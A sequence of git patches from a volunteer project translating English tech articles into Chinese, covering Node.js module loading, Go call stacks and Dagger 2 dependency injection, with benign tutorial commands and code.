From 19ebd9616df134dc75772f98efc5b0f05f5f6a45 Mon Sep 17 00:00:00 2001
From: zhouzihanntu <abbey357423606@hotmail.com>
Date: Fri, 24 Mar 2017 21:32:28 +0800
Subject: [PATCH 001/638] update

---
 ...odules-in-node-js-everything-you-need-to-know.md | 13 ++++++++++---
 1 file changed, 10 insertions(+), 3 deletions(-)

diff --git a/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md b/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
index fce6fbc0359..5618ebc6fd9 100644
--- a/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
+++ b/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
@@ -1,23 +1,30 @@
 > * 原文地址：[Requiring modules in Node.js: Everything you need to know](https://medium.freecodecamp.com/requiring-modules-in-node-js-everything-you-need-to-know-e7fbd119be8#.wcrwm9c81)
 > * 原文作者：[Samer Buna](https://medium.freecodecamp.com/@samerbuna?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[zhouzihanntu](https://github.com/zhouzihanntu)
 > * 校对者：
 
 # Requiring modules in Node.js: Everything you need to know #
+# 在 Node.js 中加载模块 #
 
 ## How modularity works in Node.js ##
+## 模块化在 Node.js 中的应用##
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/2000/1*AL0-iuggGnBLSvSVvt0Xzw.png">
 
 Node uses two core modules for managing module dependencies:
+Node 提供了两个核心模块来管理模块依赖：
 
 - The `require` module, which appears to be available on the global scope — no need to `require('require')`.
+- `require` 模块在全局范围内可用，不需要 `require('require')`.
 - The `module` module, which also appears to be available on the global scope — no need to `require('module')`.
+- `module` 模块同样在全局范围内可用，不需要 `require('module')`.
 
 You can think of the `require` module as the command and the `module` module as the organizer of all required modules.
+你可以把 `require` 模块当做命令 `module` 模块 所有需加载模块的
 
 Requiring a module in Node isn’t that complicated of a concept.
+在 Node 中加载一个模块其实没有概念那么复杂。
 
 ```
 const config = require('/path/to/file');
@@ -108,7 +115,7 @@ Error: Cannot find module 'find-me'
 If you now create a local `node_modules` directory and put a `find-me.js` in there, the `require('find-me')` line will find it.
 
 ```
-~/learn-node $ mkdir node_modules 
+~/learn-node $ mkdir node_modules
 
 ~/learn-node $ echo "console.log('I am not lost');" > node_modules/find-me.js
 
@@ -302,7 +309,7 @@ In util Module {
 I’ve removed some attributes in the above output to keep it brief, but note how the `exports` object now has the attributes we defined in each module. You can put as many attributes as you want on that exports object, and you can actually change the whole object to be something else. For example, to change the exports object to be a function instead of an object, we do the following:
 
 ```
-// Add the following line in index.js before the console.log 
+// Add the following line in index.js before the console.log
 
 module.exports = function() {};
 ```

From 312d6c3e62c36f666027f9008fe1081f8a5e4cea Mon Sep 17 00:00:00 2001
From: xiaoyusilen <kleineweltzhang@hotmail.com>
Date: Mon, 27 Mar 2017 17:37:50 +0800
Subject: [PATCH 002/638] complete translation

---
 TODO/go-function-calls-redux.md | 56 ++++++++++++++++-----------------
 1 file changed, 28 insertions(+), 28 deletions(-)

diff --git a/TODO/go-function-calls-redux.md b/TODO/go-function-calls-redux.md
index 3ee8548a7b9..2e8b6efa515 100644
--- a/TODO/go-function-calls-redux.md
+++ b/TODO/go-function-calls-redux.md
@@ -1,18 +1,18 @@
 > * 原文地址：[Go Function Calls Redux](https://hackernoon.com/go-function-calls-redux-609fdd1c90fd#.jsh5r78wp)
 > * 原文作者：[Phil Pearl](https://hackernoon.com/@philpearl?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[xiaoyusilen](http://xiaoyu.world)
 > * 校对者：
 
-# Go Function Calls Redux #
+# Go 函数调用 Redux #
 
-Some time ago in a [previous post](https://syslog.ravelin.com/anatomy-of-a-function-call-in-go-f6fc81b80ecc#.gpqsgzmjc)  I promised to take a further look at how function calls and call stacks in Go work. I’ve think found a neat way to make good on that promise, so here goes.
+前段时间在一篇[文章](https://syslog.ravelin.com/anatomy-of-a-function-call-in-go-f6fc81b80ecc#.gpqsgzmjc)中我答应写一篇进一步分析 Go 中如何进行函数调用和调用堆栈在 Go 中如何工作的文章。现在我找到了一种简洁的方式来向大家展示上述内容，所以有了现在这篇文章。
 
-So what is a call stack? Well, it’s an area of memory used to hold local variables and call parameters, and to track where functions should return to. Each goroutine has it’s own stack. You could almost say a goroutine is its stack.
+什么是调用堆栈？它是一个用于保存局部变量和调用参数的内存区域，并且跟踪每个函数应该返回到哪里去。每个 goroutine 都有它自己的堆栈。你甚至可以说每个 goroutine 就是它自己的堆栈。
 
-Here’s the code I’m going to use to show the stack in action. It’s just a sequence of simple function calls. main() calls [f1(0xdeadbeef)](https://en.wikipedia.org/wiki/Hexspeak) , which then calls `f2(0xabad1dea)`, which calls `f3(0xbaddcafe)`. `f3()` then adds one to it’s parameter, and stores it in a local variable called `local`. It then takes the address of `local` and prints out memory starting at that address. Because `local` is on the stack, this prints the stack.
+下面是我用于演示堆栈的代码。就是一系列简单的函数调用，main() 函数调用 [f1(0xdeadbeef)](https://en.wikipedia.org/wiki/Hexspeak)，然后调用 `f2(0xabad1dea)`，再调用 `f3(0xbaddcafe)`。然后 f3() 将其中一个作为它的参数，并且将它存储在名为 `local` 的本地变量中。然后获取 `local` 的内存地址并且从那里开始输出。因为 `loacl` 在栈内，所以输出的就是栈。
 
-```
+```go
 package main
 
 import (
@@ -59,9 +59,9 @@ func showFunc(at uintptr) {
 }
 ```
 
-Here’s the output of the program. It is a dump of memory starting at the address of `local`, shown as a list of 8-byte integers in hex. The address of each integer is on the left, and the int at the address is on the right.
+下面是上述代码的输出结果。它是从 `local` 的地址开始的内存转储，是以十六进制形式展示的8字节列表。左边是每个整数的存储地址，右边是地址内存储的整数。
 
-We know `local` should equal 0xBADDCAFE + 1, or 0xBADDCAFF, and this is indeed what we see at the start of the dump.
+我们知道 `local` 应该等于 0xBADDCAFE + 1，或者 0xBADDCAFF，这确实是我们转储开始时看到的。
 
 ```
 C42003FF28: BADDCAFF
@@ -94,13 +94,13 @@ C42003FFC0: C4200001A0
 102752A is runtime.main /usr/local/Cellar/go/1.8/libexec/src/runtime/proc.go 194
 ```
 
-- The next number is 0xC42003FF48, which is the address of the 5th line of the dump.
-- After that we have 0x1088BEB. It turns out this is an address of executable code, and if we feed it into `runtime.FuncForPC` we see it is the address of line 19 of main.go, which is the last line of `f2()`. This is the address we return to when `f3()` returns.
-- Next we have 0xBADDCAFE, the parameter to our call to `f3()`
+- 下一个数字是 0xC42003FF48，它是转储的第五行的地址。
+- 然后我们可以得到 0x1088BEB。事实上这是一个可执行代码的地址，如果我们将它作为 `runtime.FuncForPC` 的参数，我们知道它是 main.go 的第19行代码的地址，也是 f2() 的最后一行代码。这是 f3() 返回时我们得到的地址。
+- 接下来我们得到 0xBADDCAFE，这是我们调用 `f3()` 时的参数。
 
-If we carry on we continue to see this pattern. Below I’ve marked up the memory dump showing how the stack pointers track back through the dump and where the function parameters and return addresses sit.
+如果继续我们将看到类似上面的输出结果。下面我已经标记了内存转储，显示堆栈指针如何跟踪转储，参数和返回地址在哪里。
 
-```
+```go
   C42003FF28: BADDCAFF    Local variable in f3()
 +-C42003FF30: C42003FF48 
 | C42003FF38: 1088BEB     return to f2() main.go line 19
@@ -113,18 +113,18 @@ If we carry on we continue to see this pattern. Below I’ve marked up the memor
 | C42003FF70: DEADBEEF    f1() parameter
 +-C42003FF78: C42003FFD0
   C42003FF80: 102752A     return to runtime.main()
-
 ```
 
-From this we can see many things.
+通过这些我们可以看出：
 
-- First, the stack starts at a high address, and the stack address reduces as function calls are made.
-- When a function call is made, the caller pushes the parameters onto the stack, then the return address (the address of the next instruction in the calling function), then a pointer to a higher point in the stack.
-- This pointer is used to find the previous function call on the stack when unwinding the stack when the call returns.
-- Local variables are stored after the stack pointer.
+- 首先，堆栈从高地址开始，堆栈地址随着函数调用变小。
+- 当进行函数调用时，调用者将参数放入栈内，然后返回地址（调用函数中的下一条指令的地址），接着指向堆栈中较高的指针。
+- 当调用返回时，这个指针用于在堆栈中查找先前调用的函数。
+- 局部变量存储在堆栈指针之后。
 
-We can use the same technique to look at some slightly more complicated function calls. I’ve added more parameters, and some return values to `f2()` in this version.
-```
+我们可以使用相同的技巧来分析一些稍微复杂的函数调用。这次，我添加了更多的参数，`f2()` 函数也返回了更多的值。
+
+```go
 package main
 
 import (
@@ -153,9 +153,9 @@ func f3(val int) {
 }
 ```
 
-This time I’ve jumped straight to the marked-up output.
+这次我们直接看被我标记好的输出结果。
 
-```
+```go
   C42003FF10: BADDCAFF      local variable in f3()
 +-C42003FF18: C42003FF30
 | C42003FF20: 1088BFB       return to f2()
@@ -173,11 +173,11 @@ This time I’ve jumped straight to the marked-up output.
   C42003FF80: 102752A       return to runtime.main()
 ```
 
-From this we can see that
+从结果中我们可以看出：
 
-- the calling function makes space for the return values of the called function before the function parameters. (Note the values are uninitialised because the function hasn’t returned yet!)
-- parameters are pushed onto the stack in reverse order.
+- 调用函数在函数参数之前为被调用函数的返回值提供空间。（注意这些值是没有初始化的，因为这个函数还没有返回！）
+- 参数在栈内的顺序与入栈顺序相反。
 
-Hopefully all that made sense! If you got this far and enjoyed it or learned something, please hit that heart-button. I can’t earn internet points without you.
+希望我都讲清楚了。既然你已经看到这儿了，如果喜欢我的这篇文章或者可以从中学到一点什么的话，那么请给我点个赞。不然我就没办法获得积分。
 
-*By day, Phil fights crime at* [*ravelin.com*](https://ravelin.com) *. You can join him:* [*https://angel.co/ravelin/jobs*](https://angel.co/ravelin/jobs) .
+**Phil 白天在 [ravelin.com](https://ravelin.com) 的工作主要是防止网上欺诈，你可以加入他 https://angel.co/ravelin/jobs。**
\ No newline at end of file

From 4c3b930b904ff06b37997f0fa0ea873bf11b5fd1 Mon Sep 17 00:00:00 2001
From: zhouzihanntu <abbey357423606@hotmail.com>
Date: Tue, 28 Mar 2017 19:05:01 +0800
Subject: [PATCH 003/638] update file

---
 ...-in-node-js-everything-you-need-to-know.md | 21 +++++++++++++++----
 1 file changed, 17 insertions(+), 4 deletions(-)

diff --git a/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md b/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
index 5618ebc6fd9..fef57b8f8e0 100644
--- a/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
+++ b/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
@@ -16,41 +16,52 @@ Node uses two core modules for managing module dependencies:
 Node 提供了两个核心模块来管理模块依赖：
 
 - The `require` module, which appears to be available on the global scope — no need to `require('require')`.
-- `require` 模块在全局范围内可用，不需要 `require('require')`.
+- `require` 模块在全局范围内可用，不需要 `require('require')`.    
 - The `module` module, which also appears to be available on the global scope — no need to `require('module')`.
 - `module` 模块同样在全局范围内可用，不需要 `require('module')`.
 
 You can think of the `require` module as the command and the `module` module as the organizer of all required modules.
-你可以把 `require` 模块当做命令 `module` 模块 所有需加载模块的
+你可以将 `require` 模块理解为命令，将 `module` 模块理解为组织所有需加载模块的工具。
 
 Requiring a module in Node isn’t that complicated of a concept.
-在 Node 中加载一个模块其实没有概念那么复杂。
+在 Node 中加载一个模块其实不像概念那么复杂。
 
 ```
 const config = require('/path/to/file');
 ```
 
 The main object exported by the `require` module is a function (as used in the above example). When Node invokes that `require()` function with a local file path as the function’s only argument, Node goes through the following sequence of steps:
+`require` 模块导出的主对象是一个函数（如上例）。当 Node 将本地文件路径作为唯一参数调用 `require()` 时，Node 将执行以下步骤：
 
 - **Resolving**: To find the absolute path of the file.
+- **解析**：找到该文件的绝对路径。
 - **Loading**: To determine the type of the file content.
+- **加载**：确定文件内容的类型。
 - **Wrapping**: To give the file its private scope. This is what makes both the `require` and `module` objects local to every file we require.
+- **打包**：为文件划分私有作用域，这样 `require` 和 `module` 两个对象对于我们要加载的每个模块来说就都是本地的。
 - **Evaluating**: This is what the VM eventually does with the loaded code.
+- **评估**：最后由虚拟机对加载得到的代码做评估。
 - **Caching**: So that when we require this file again, we don’t go over all the steps another time.
+- **缓存**：当再次加载该文件时，无需再重复以上所有步骤。
 
 In this article, I’ll attempt to explain with examples these different stages and how the affect the way we write modules in Node.
+在本文中，我将试着用示例说明这些不同阶段，以及它们如何影响我们在 Node 中编写模块的方式。
 
 Let me first create a directory to host all the examples using my terminal:
+我先使用终端创建一个目录来托管本文中的所有示例：
 
 ```
 mkdir ~/learn-node && cd ~/learn-node
 ```
 
 All the commands in the rest of this article will be run from within `~/learn-node`.
+本文余下部分的所有命令都将在 `~/learn-node` 目录下运行。
 
 #### Resolving a local path ####
+#### 解析本地路径 ####
 
 Let me introduce you to the `module` object. You can check it out in a simple REPL session:
+首先，让我来介绍一下 `module` 对象。你可以通过一个简单的 REPL 会话查看它：
 
 ```
 ~/learn-node $ node
@@ -62,10 +73,12 @@ Module {
   filename: null,
   loaded: false,
   children: [],
-  paths: [ ... ] }
+  paths: [ ... ]
+}
 ```
 
 Every module object gets an `id` property to identify it. This `id` is usually the full path to the file, but in a REPL session it’s simply `<repl>.`
+每个模块对象都有一个用于识别该对象的 `id` 属性。这个 `id` 通常是该文件的完整路径，但在 REPL 会话中 `<repl>.`
 
 Node modules have a one-to-one relation with files on the file-system. We require a module by loading the content of a file into memory.
 

From e5e391827b3716c10ba3d4e3ec1d339747604168 Mon Sep 17 00:00:00 2001
From: tanglie <tanglie23@163.com>
Date: Wed, 29 Mar 2017 00:40:19 +0800
Subject: [PATCH 004/638] Update Dependency-Injection-with-Dagger-2.md

---
 TODO/Dependency-Injection-with-Dagger-2.md | 22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/TODO/Dependency-Injection-with-Dagger-2.md b/TODO/Dependency-Injection-with-Dagger-2.md
index 803b9ce7a84..453d660e042 100644
--- a/TODO/Dependency-Injection-with-Dagger-2.md
+++ b/TODO/Dependency-Injection-with-Dagger-2.md
@@ -4,21 +4,21 @@
 > * 译者： 
 > * 校对者：
 
-# Dependency Injection with Dagger 2
+# 用 Dagger 2 实现依赖注入
 
-## Overview 
+## 概要 
 
-Many Android apps rely on instantiating objects that often require other dependencies.  For instance, a Twitter API client may be built using a networking library such as [[Retrofit|Consuming-APIs-with-Retrofit]]. To use this library, you might also need to add parsing libraries such as [[Gson|Leveraging-the-Gson-Library]].  In addition, classes that implement authentication or caching may require accessing [[shared preferences|Storing-and-Accessing-SharedPreferences]] or other common storage, requiring instantiating them first and creating an inherent dependency chain.
+很多 Android 应用依赖于一些含有其它依赖的对象。例如，一个 Twitter API 客户端可能需要通过 [Retrofit](https://github.com/codepath/android_guides/wiki/Consuming-APIs-with-Retrofit) 之类的网络库被构建。要使用这个库，你可能还需要添加 [Gson](https://github.com/codepath/android_guides/wiki/Leveraging-the-Gson-Library) 这样的解析库。另外，实现认证或缓存的库可能需要使用 [shared preferences](https://github.com/codepath/android_guides/wiki/Storing-and-Accessing-SharedPreferences)或其它通用存储方式。这就需要先把它们实例化，并创建一个隐含的依赖链。
 
-If you're not familiar with Dependency Injection, watch [this](https://www.youtube.com/watch?v=IKD2-MAkXyQ) quick video.
+如果你不熟悉依赖注入，看看[这个](https://www.youtube.com/watch?v=IKD2-MAkXyQ) 短视频。
 
-Dagger 2 analyzes these dependencies for you and generates code to help wire them together.  While there are other Java dependency injection frameworks, many of them suffered limitations in relying on XML, required validating dependency issues at run-time, or incurred performance penalties during startup. [Dagger 2](http://google.github.io/dagger/) relies purely on using Java [annotation processors](https://www.youtube.com/watch?v=dOcs-NKK-RA) and compile-time checks to analyze and verify dependencies.  It is considered to be one of the most efficient dependency injection frameworks built to date.
+Dagger 2 为你解析这些依赖，并生成把它们绑定在一起的代码。也有很多其它的 Java 依赖注入框架，但它们中很多个是有缺陷的，比如依赖 XML，需要在运行时验证依赖，或者在起始时造成性能负担。 [Dagger 2](http://google.github.io/dagger/) 纯粹依赖于 Java [annotation processors](https://www.youtube.com/watch?v=dOcs-NKK-RA) 以及编译时检查来分析并验证依赖。它被认为是目前最高效的依赖注入框架之一。
 
-### Advantages
+### 优点
 
-Here is a list of other advantages for using Dagger 2:
+这是使用 Dagger 2 的一系列其它优势：
 
- * **Simplifies access to shared instances**. Just as the [[ButterKnife|Reducing-View-Boilerplate-with-Butterknife]] library makes it easier to define references to Views, event handlers, and resources, Dagger 2 provides a simple way to obtain references to shared instances.  For instance,  once we declare in Dagger our singleton instances such as  `MyTwitterApiClient` or `SharedPreferences`, we can declare fields with a simple `@Inject` annotation:
+ * **简化共享实例访问**。就像 [ButterKnife](https://github.com/codepath/android_guides/wiki/Reducing-View-Boilerplate-with-Butterknife) 库简化了引用View， event handler 和 resources 的方式一样，Dagger 2 提供了一个简单的方式获取对共享对象的引用。例如，一旦我们在 Dagger 中声明了  `MyTwitterApiClient` 或 `SharedPreferences` 的单例，就可以用一个简单的 `@Inject` 标注来声明域：
 
 ```java
 public class MainActivity extends Activity {
@@ -31,11 +31,11 @@ public class MainActivity extends Activity {
    } 
 ```
 
- * **Easy configuration of complex dependencies**. There is an implicit order in which your objects are often created.   Dagger 2 walks through the dependency graph and [[generates code|Dependency-Injection-with-Dagger-2#code-generation]] that is both easy to understand and trace, while also saving you from writing the large amount of boilerplate code you would normally need to write by hand to obtain references and pass them to other objects as dependencies.  It also helps simplify refactoring, since you can focus on what modules to build rather than focusing on the order in which they need to be created.
+ * **容易配置复杂的依赖**。 对象创建是有隐含顺序的。Dagger 2 浏览依赖图，并且[生成易于理解和追踪的代码](https://github.com/codepath/android_guides/wiki/Dependency-Injection-with-Dagger-2#code-generation)。而且，它可以节约大量的样板代码，使你不再需要手写，手动获取引用并把它们传递给其他对象作为依赖。它也简化了重构，因为你可以聚焦于构建模块本身，而不是它们被创建的顺序。
 
- * **Easier unit and integration testing**  Because the dependency graph is created for us, we can easily swap out modules that make network responses and mock out this behavior.
+ * **更简单的单元和集成测试**  因为依赖图是为我们创建的，我们可以轻易换出用于创建网络响应的模块，并模拟这种行为。
 
- * **Scoped instances**  Not only can you easily manage instances that can last the entire application lifecycle, you can also leverage Dagger 2 to define instances with shorter lifetimes (i.e. bound to a user session, activity lifecycle, etc.).
+ * **实例范围** 你不仅可以轻易地管理持续整个应用生命周期的实例，也可以利用 Dagger 2 来定义生命周期更短（比如和一个用户 session 或 Activity 生命周期相绑定）的实例。 
 
 ### Setup
 

From 22d75b762801bf962d8a5864d46e6ffb96f856de Mon Sep 17 00:00:00 2001
From: tanglie <tanglie23@163.com>
Date: Wed, 29 Mar 2017 01:00:13 +0800
Subject: [PATCH 005/638] Update Dependency-Injection-with-Dagger-2.md

---
 TODO/Dependency-Injection-with-Dagger-2.md | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/TODO/Dependency-Injection-with-Dagger-2.md b/TODO/Dependency-Injection-with-Dagger-2.md
index 453d660e042..199a78c5438 100644
--- a/TODO/Dependency-Injection-with-Dagger-2.md
+++ b/TODO/Dependency-Injection-with-Dagger-2.md
@@ -37,11 +37,11 @@ public class MainActivity extends Activity {
 
  * **实例范围** 你不仅可以轻易地管理持续整个应用生命周期的实例，也可以利用 Dagger 2 来定义生命周期更短（比如和一个用户 session 或 Activity 生命周期相绑定）的实例。 
 
-### Setup
+### 设置
 
-Android Studio by default will not allow you to navigate to generated Dagger 2 code as legitimate classes because they are not normally added to the source path  but adding the `android-apt` plugin will add these files into the IDE classpath and enable you to have more visibility.
+默认的 Android Studio 不把生成的 Dagger 2 代码视作合法的类，因为它们通常并不被加入 source 路径。但引入 `android-apt` 插件后，它会把这些文件加入 IDE classpath，从而提供更好的可见性。
 
-Make sure to [[upgrade|Getting-Started-with-Gradle#upgrading-gradle]] to the latest Gradle version to use the `annotationProcessor` syntax: 
+确保[升级](https://github.com/codepath/android_guides/wiki/Getting-Started-with-Gradle#upgrading-gradle) 到最迟的 Gradle 版本以使用最新的 `annotationProcessor` 语法: 
 
 ```gradle
 dependencies {
@@ -52,12 +52,12 @@ dependencies {
 }
 ```
 
-Note that the `provided` keyword refers to dependencies that are only needed at compilation.  The Dagger compiler generates code that is used to create the dependency graph of the classes defined in your source code.  These classes are added to the IDE class path during compilation. The `annotationProcessor` keyword, which is understood by the Android Gradle plugin, does not add these classes to the class path, they are used only for annotation processing, which prevents accidentally referencing them.
+注意 `provided` 关键词是指只在编译时需要的依赖。Dagger 编译器生成了用于生成依赖图的类，而这个依赖图是在你的源代码中定义的。这些类在编译过程中被添加到你的IDE classpath。`annotationProcessor` 关键字可以被 Android Gradle 插件理解。它不把这些类添加到 classpath 中，而只是把它们用于处理注解。这可以避免不小心引用它们。
 
-### Creating Singletons
-![Dagger Injections Overview](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_general.png)
+### 创建单例
+![Dagger 注入概要](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_general.png)
 
-The simplest example is to show how to centralize all your singleton creation with Dagger 2.  Suppose you weren't using any type of dependency injection framework and wrote code in your Twitter client similar to the following:
+最简单的例子是用 Dagger 2 集中管理所有的单例。假设你不用任何依赖注入框架，在你的 Twitter 客户端中写下类似这些的东西：
 
 ```java
 OkHttpClient client = new OkHttpClient();
@@ -82,9 +82,9 @@ Retrofit retrofit = new Retrofit.Builder()
                                 .build();
 ```
 
-#### Declare your singletons 
+#### 声明你的单例
 
-You need to define what objects should be included as part of the dependency chain by creating a Dagger 2 **module**.  For instance, if we wish to make a single `Retrofit` instance tied to the application lifecycle and available to all our activities and fragments, we first need to make Dagger aware that a `Retrofit` instance can be provided.   
+你需要通过创建 Dagger 2 **模块**定义哪些对象应该作为依赖链的一部分。例如，假设我们想要创建一个 `Retrofit` 单例，使它绑定到应用生命周期，对所有的 Activity 和 Fragment 都可用，我们首先需要使 Dagger 意识到他可以提供 `Retrofit` 的实例。
 
 Because we wish to setup caching, we need an Application context.  Our first Dagger module, `AppModule.java`, will be used to provide this reference.  We will define a method annotated with `@Provides` that denotes to Dagger that this method is the constructor for the `Application` return type:
 

From fa775fb725f0617c96a42d856d69c9e754846c71 Mon Sep 17 00:00:00 2001
From: zhouzihanntu <abbey357423606@hotmail.com>
Date: Wed, 29 Mar 2017 19:14:06 +0800
Subject: [PATCH 006/638] update file

---
 ...-in-node-js-everything-you-need-to-know.md | 133 ++++++++----------
 1 file changed, 60 insertions(+), 73 deletions(-)

diff --git a/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md b/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
index fef57b8f8e0..0f35c99a5d3 100644
--- a/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
+++ b/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
@@ -5,63 +5,46 @@
 > * 校对者：
 
 # Requiring modules in Node.js: Everything you need to know #
-# 在 Node.js 中加载模块 #
+# 在 Node.js 中引用模块 #
 
-## How modularity works in Node.js ##
-## 模块化在 Node.js 中的应用##
+## Node.js 中模块化的工作原理 ##
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/2000/1*AL0-iuggGnBLSvSVvt0Xzw.png">
 
-Node uses two core modules for managing module dependencies:
 Node 提供了两个核心模块来管理模块依赖：
 
-- The `require` module, which appears to be available on the global scope — no need to `require('require')`.
-- `require` 模块在全局范围内可用，不需要 `require('require')`.    
-- The `module` module, which also appears to be available on the global scope — no need to `require('module')`.
-- `module` 模块同样在全局范围内可用，不需要 `require('module')`.
+- `require` 模块在全局范围内可用，不需要写 `require('require')`.    
+- `module` 模块同样在全局范围内可用，不需要写 `require('module')`.
 
-You can think of the `require` module as the command and the `module` module as the organizer of all required modules.
-你可以将 `require` 模块理解为命令，将 `module` 模块理解为组织所有需加载模块的工具。
+你可以将 `require` 模块理解为命令，将 `module` 模块理解为组织所有被引用模块的工具。
 
-Requiring a module in Node isn’t that complicated of a concept.
-在 Node 中加载一个模块其实不像概念那么复杂。
+在 Node 中引入一个模块其实不像概念那么复杂。
 
 ```
 const config = require('/path/to/file');
 ```
 
-The main object exported by the `require` module is a function (as used in the above example). When Node invokes that `require()` function with a local file path as the function’s only argument, Node goes through the following sequence of steps:
 `require` 模块导出的主对象是一个函数（如上例）。当 Node 将本地文件路径作为唯一参数调用 `require()` 时，Node 将执行以下步骤：
 
-- **Resolving**: To find the absolute path of the file.
 - **解析**：找到该文件的绝对路径。
-- **Loading**: To determine the type of the file content.
 - **加载**：确定文件内容的类型。
-- **Wrapping**: To give the file its private scope. This is what makes both the `require` and `module` objects local to every file we require.
-- **打包**：为文件划分私有作用域，这样 `require` 和 `module` 两个对象对于我们要加载的每个模块来说就都是本地的。
-- **Evaluating**: This is what the VM eventually does with the loaded code.
+- **打包**：为文件划分私有作用域，这样 `require` 和 `module` 两个对象对于我们要引入的每个模块来说就都是本地的。
 - **评估**：最后由虚拟机对加载得到的代码做评估。
-- **Caching**: So that when we require this file again, we don’t go over all the steps another time.
-- **缓存**：当再次加载该文件时，无需再重复以上所有步骤。
+- **缓存**：当再次引用该文件时，无需再重复以上所有步骤。
 
-In this article, I’ll attempt to explain with examples these different stages and how the affect the way we write modules in Node.
-在本文中，我将试着用示例说明这些不同阶段，以及它们如何影响我们在 Node 中编写模块的方式。
+在本文中，我将试着用示例说明这些不同阶段的运行原理，以及它们如何影响我们在 Node 中编写模块的方式。
 
-Let me first create a directory to host all the examples using my terminal:
 我先使用终端创建一个目录来托管本文中的所有示例：
 
 ```
 mkdir ~/learn-node && cd ~/learn-node
 ```
 
-All the commands in the rest of this article will be run from within `~/learn-node`.
 本文余下部分的所有命令都将在 `~/learn-node` 目录下运行。
 
-#### Resolving a local path ####
 #### 解析本地路径 ####
 
-Let me introduce you to the `module` object. You can check it out in a simple REPL session:
-首先，让我来介绍一下 `module` 对象。你可以通过一个简单的 REPL 会话查看它：
+首先，让我来介绍一下 `module` 对象。你可以在一个简单的 REPL 会话中查看该对象：
 
 ```
 ~/learn-node $ node
@@ -77,20 +60,19 @@ Module {
 }
 ```
 
-Every module object gets an `id` property to identify it. This `id` is usually the full path to the file, but in a REPL session it’s simply `<repl>.`
-每个模块对象都有一个用于识别该对象的 `id` 属性。这个 `id` 通常是该文件的完整路径，但在 REPL 会话中 `<repl>.`
+每个模块对象都有一个用于识别该对象的 `id` 属性。这个 `id` 通常是该文件的完整路径，但在 REPL 会话中只会显示为 `<repl>`。
 
-Node modules have a one-to-one relation with files on the file-system. We require a module by loading the content of a file into memory.
+Node 模块与文件系统中的文件有着一一对应的关系。我们通过加载模块对应的文件内容到内存中来实现模块引用。
 
-However, since Node allows many ways to require a file (for example, with a relative path or a pre-configured path), before we can load the content of a file into the memory we need to find the absolute location of that file.
+然而，由于 Node 允许使用许多方式引入文件（例如，使用相对路径或预先配置的路径），我们需要在将文件的内容加载到内存前找到该文件的绝对位置。
 
-When we require a `'find-me'` module, without specifying a path:
+例如，我们不声明路径，直接引入一个 `'find-me'` 模块时：
 
 ```
 require('find-me');
 ```
 
-Node will look for `find-me.js` in all the paths specified by `module.paths` — in order.
+Node 会在 `module.paths` 声明的所有路径中依次查找 `find-me.js` 。
 
 ```
 ~/learn-node $ node
@@ -105,9 +87,9 @@ Node will look for `find-me.js` in all the paths specified by `module.paths` 
   '/usr/local/Cellar/node/7.7.1/lib/node' ]
 ```
 
-The paths list is basically a list of node_modules directories under every directory from the current directory to the root directory. It also includes a few legacy directories whose use is not recommended.
+Node 从当前目录开始一级级向上寻找 node_modules 目录，这个数组大致就是当前目录到所有 node_modules 目录的相对路径。其中还包括一些为了兼容性保留的目录，不推荐使用。
 
-If Node can’t find `find-me.js` in any of these paths, it will throw a “cannot find module error.”
+如果 Node 在以上路径中都无法找到 `find-me.js` ，将抛出一个 “找不到该模块” 错误。
 
 ```
 ~/learn-node $ node
@@ -125,7 +107,7 @@ Error: Cannot find module 'find-me'
     at REPLServer.onLine (repl.js:533:10)
 ```
 
-If you now create a local `node_modules` directory and put a `find-me.js` in there, the `require('find-me')` line will find it.
+如果你现在创建一个本地的 `node_modules` 目录，并向目录中添加一个 `find-me.js` 文件，就能通过 `require('find-me')` 找到它了。
 
 ```
 ~/learn-node $ mkdir node_modules
@@ -139,14 +121,14 @@ I am not lost
 >
 ```
 
-If another `find-me.js` file existed in any of the other paths, for example, if we have a `node_modules` directory under the home directory and we have a different `find-me.js` file in there:
+如果在其他路径下也有 `find-me.js` 文件呢？例如，我们在主目录下的 `node_modules` 目录中放置一个不同的 `find-me.js` 文件：
 
 ```
 $ mkdir ~/node_modules
 $ echo "console.log('I am the root of all problems');" > ~/node_modules/find-me.js
 ```
 
-When we `require('find-me')` from within the `learn-node` directory — which has its own `node_modules/find-me.js`, the `find-me.js` file under the home directory will not be loaded at all:
+当我们在 `learn-node` 目录下执行 `require('find-me')` 时，`learn-node` 目录会加载自己的 `node_modules/find-me.js`，主目录下的 `find-me.js` 文件并不会被加载：
 
 ```
 ~/learn-node $ node
@@ -156,7 +138,7 @@ I am not lost
 >
 ```
 
-If we remove the local `node_modules` directory under `~/learn-node` and try to require `find-me` one more time, the file under the home’s `node_modules` directory would be used:
+此时，如果我们将 `~/learn-node` 下的 `node_modules` 移除，再一次引入 `find-me` 模块，那么主目录下的 `node_modules` 将会被加载：
 
 ```
 ~/learn-node $ rm -r node_modules/
@@ -168,9 +150,9 @@ I am the root of all problems
 >
 ```
 
-#### Requiring a folder ####
+#### 引入文件夹 ####
 
-Modules don’t have to be files. We can also create a `find-me` folder under `node_modules` and place an `index.js` file in there. The same `require('find-me')` line will use that folder’s `index.js` file:
